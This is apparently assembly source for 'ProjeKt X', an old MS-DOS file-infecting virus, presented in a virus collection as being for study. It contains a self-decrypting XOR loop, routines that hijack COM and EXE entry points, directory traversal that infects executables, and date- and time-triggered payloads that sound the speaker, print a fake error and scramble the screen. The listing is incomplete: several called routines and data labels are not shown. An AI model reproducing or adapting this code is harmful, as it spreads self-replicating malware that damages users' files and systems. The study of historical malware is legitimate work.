projektx.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

; PROJEKTX.ASM : ProjeKt X 

.model tiny                             ; Handy directive
.code                                   ; Virus code segment
          org    100h                   ; COM file starting IP

id = 'AI'                               ; ID word for EXE infections
entry_point: db 0e9h,0,0                ; jmp decrypt

decrypt:                                ; handles encryption and decryption
          mov  bp,(offset heap - offset startencrypt)/2 ; iterations
patch_startencrypt:
          mov  bx,offset startencrypt   ; start of decryption
decrypt_loop:
          db   2eh,81h,37h            ; xor word ptr cs:[bx], xxxx
decrypt_value dw 0                      ; initialised at zero for null effect
          inc  bx                       ; calculate new decryption location
          inc  bx
          dec  bp                       ; If we are not done, then
          jnz  decrypt_loop             ; decrypt mo'
startencrypt:
          call next                     ; calculate delta offset
next:     pop  bp                       ; bp = IP next
          sub  bp,offset next           ; bp = delta offset

          cmp  sp,id                    ; COM or EXE?
          je   restoreEXE
restoreCOM:
          lea  si,[bp+save3]
          mov  di,100h
          push di                       ; For later return
          movsb
          jmp  short restoreEXIT
restoreEXE:
          push ds
          push es
          push cs                       ; DS = CS
          pop  ds
          push cs                       ; ES = CS
          pop  es
          lea  si,[bp+jmpsave2]
          lea  di,[bp+jmpsave]
          movsw
          movsw
          movsw
restoreEXIT:
          movsw

          mov  byte ptr [bp+numinfec],3 ; reset infection counter

          mov  ah,1Ah                   ; Set new DTA
          lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
          int  21h

          mov  ah,47h                   ; Get current directory
          mov  dl,0                     ; Current drive
          lea  si,[bp+origdir]          ; DS:SI->buffer
          int  21h
          mov  byte ptr [bp+backslash],'\' ; Prepare for later CHDIR

          mov  ax,3524h                 ; Get int 24 handler
          int  21h                      ; to ES:BX
          mov  word ptr [bp+oldint24],bx; Save it
          mov  word ptr [bp+oldint24+2],es
          mov  ah,25h                   ; Set new int 24 handler
          lea  dx,[bp+offset int24]     ; DS:DX->new handler
          int  21h
          push cs                       ; Restore ES
          pop  es                       ; 'cuz it was changed

dir_scan:                               ; "dot dot" traversal
          lea  dx,[bp+exe_mask]
          call infect_mask
          lea  dx,[bp+com_mask]
          call infect_mask
          mov  ah,3bh                   ; change directory
          lea  dx,[bp+dot_dot]          ; "cd .."
          int  21h
          jnc  dir_scan                 ; go back for mo!

done_infections:
                call    get_second
                cmp     ax,0032h                ; Did the function return 50?
                jl      skip00                  ; If less, skip effect
                jmp     short activate_one      ; Success -- skip jump

skip00:         
                call    get_hour
                cmp     ax,0017h                ; Did the function return 23?
                jne     skip01                  ; If not equal, skip effect
                call    get_weekday
                cmp     ax,0003h                ; Did the function return 3?
                jne     skip01                  ; If not equal, skip effect
                jmp     activate_two           ; Success -- skip jump

skip01:         jmp exit_virus

exit_virus:
          mov  ax,2524h                 ; Restore int 24 handler
          lds  dx,[bp+offset oldint24]  ; to original
          int  21h
          push cs
          pop  ds

          mov  ah,3bh                   ; change directory
          lea  dx,[bp+origdir-1]        ; original directory
          int  21h

          mov  ah,1ah                   ; restore DTA to default
          mov  dx,80h                   ; DTA in PSP
          cmp  sp,id-4                  ; EXE or COM?
          jz   returnEXE
returnCOM:
          int  21h
          retn                          ; 100h is on stack
returnEXE:
          pop  es
          pop  ds
          int  21h
          mov  ax,es                    ; AX = PSP segment
          add  ax,10h                   ; Adjust for PSP
          add  word ptr cs:[bp+jmpsave+2],ax
          add  ax,word ptr cs:[bp+stacksave+2]
          cli                           ; Clear intrpts for stack manipulation
          mov  sp,word ptr cs:[bp+stacksave]
          mov  ss,ax
          sti
          db   0eah                     ; jmp ssss:oooo
jmpsave             dd ?                ; Original CS:IP
stacksave           dd ?                ; Original SS:SP
jmpsave2            db ?                ; Actually four bytes
save3               db 0cdh,20h,0       ; First 3 bytes of COM file
stacksave2          dd ?

activate_one:                               ; Conditions satisfied
                mov     cx,0003h                ; First argument is 3
new_shot:       push    cx                      ; Save the current count
                mov     dx,0140h                ; DX holds pitch
                mov     bx,0100h                ; BX holds shot duration
                in      al,061h                 ; Read the speaker port
                and     al,11111100b            ; Turn off the speaker bit
fire_shot:      xor     al,2                    ; Toggle the speaker bit
                out     061h,al                 ; Write AL to speaker port
                add     dx,09248h               ;
                mov     cl,3                    ;
                ror     dx,cl                   ; Figure out the delay time
                mov     cx,dx                   ;
                and     cx,01FFh                ;
                or      cx,10                   ;
shoot_pause:    loop    shoot_pause             ; Delay a bit
                dec     bx                      ; Are we done with the shot?
                jnz     fire_shot               ; If not, pulse the speaker
                and     al,11111100b            ; Turn off the speaker bit
                out     061h,al                 ; Write AL to speaker port
                mov     bx,0002h                ; BX holds delay time (ticks)
                xor     ah,ah                   ; Get time function
                int     1Ah                     ; BIOS timer interrupt
                add     bx,dx                   ; Add current time to delay
shoot_delay:    int     1Ah                     ; Get the time again
                cmp     dx,bx                   ; Are we done yet?
                jne     shoot_delay             ; If not, keep checking
                pop     cx                      ; Restore the count
                loop    new_shot                ; Do another shot
                jmp     go_now

go_now: 
          mov ax,0003h           ; stick 3 into ax.
          int 10h                ; Set up 80*25, text mode.  Clear the
                                 ; screen, too.
          mov ax,1112h           ; We are gunna use the 8*8 internal
                                 ; font, man.
          int 10h                ; Hey man, call the interrupt.
          mov     ah,09h                  ; Use DOS to print fake error
                                          ; message
          mov     dx,offset fake_msg
          int     21h
          mov ah,4ch            ; Lets ditch.
          int 21h               ; "Make it so."
          jmp  exit_virus

activate_two:                      ; First, get current video mode and page.
               mov  cx,0B800h      ;color display, color video mem for page 1
               mov  ah,15          ;Get current video mode
               int  10h
               cmp  al,2           ;Color?
               je   A2             ;Yes
               cmp  al,3           ;Color?
               je   A2             ;Yes
               cmp  al,7           ;Mono?
               je   A1             ;Yes
               int  20h            ;No,quit

                                   ;here if 80 col text mode; put video segment in ds.
A1:            mov  cx,0A300h      ;Set for mono; mono videomem for page 1
A2:            mov  bl,0           ;bx=page offset
               add  cx,bx          ;Video segment
               mov  ds,cx          ;in ds

                                   ;start dropsy effect
               xor  bx,bx          ;Start at top left corner
A3:            push bx             ;Save row start on stack
               mov  bp,80          ;Reset column counter
                                   ;Do next column in a row.
A4:            mov  si,bx          ;Set row top in si
               mov  ax,[si]        ;Get char & attr from screen
               cmp  al,20h         ;Is it a blank?
               je   A7             ;Yes, skip it
               mov  dx,ax          ;No, save it in dx
               mov  al,20h         ;Make it a space
               mov  [si],ax        ;and put on screen
               add  si,160         ;Set for next row
               mov  di,cs:Row      ;Get rows remaining
A5:            mov  ax,[si]        ;Get the char & attr from screen
               mov  [si],dx        ;Put top row char & attr there
A6:            call Vert           ;Wait for 2 vert retraces
               mov  [si],ax        ;Put original char & attr back
                                   ;Do next row, this column.
              add  si,160          ;Next row
              dec  di              ;Done all rows remaining?
              jne  A5              ;No, do next one
              mov  [si-160],dx     ;Put char & attr on line 25 as junk
                                   ;Do next column on this row.
A7:           add  bx,2            ;Next column, same row
              dec  bp              ;Dec column counter; done?
              jne  A4              ;No, do this column
;Do next row.
A8:           pop  bx              ;Get current row start
              add  bx,160          ;Next row
              dec  cs:Row          ;All rows done?
              jne  A3              ;No
A9:           mov  ax,4C00h  
              int  21h             ;Yes, quit to DOS with error code

                                   ;routine to deal with snow on CGA screen.
Vert:         push ax
              push dx
              push cx              ;Save all registers used
              mov  cl,2            ;Wait for 2 vert retraces
              mov  dx,3DAh         ;CRT status port
F1:           in   al,dx           ;Read status
              test al,8            ;Vert retrace went hi?
              je   F1              ;No, wait for it
              dec  cl              ;2nd one?
              je   F3              ;Yes, write during blanking time
F2:           in   al,dx           ;No, get status
              test al,8            ;Vert retrace went low?
              jne  F2              ;No, wait for it
              jmp  F1              ;Yes, wait for next hi
F3:           pop  cx
              pop  dx
              pop  ax              ;Restore registers
              ret
              jmp exit_virus

get_weekday     proc    near
                mov     ah,02Ah                 ; DOS get date function
                int     021h
                cbw                             ; Sign-extend AL into AX
                ret                             ; Return to caller
get_weekday     endp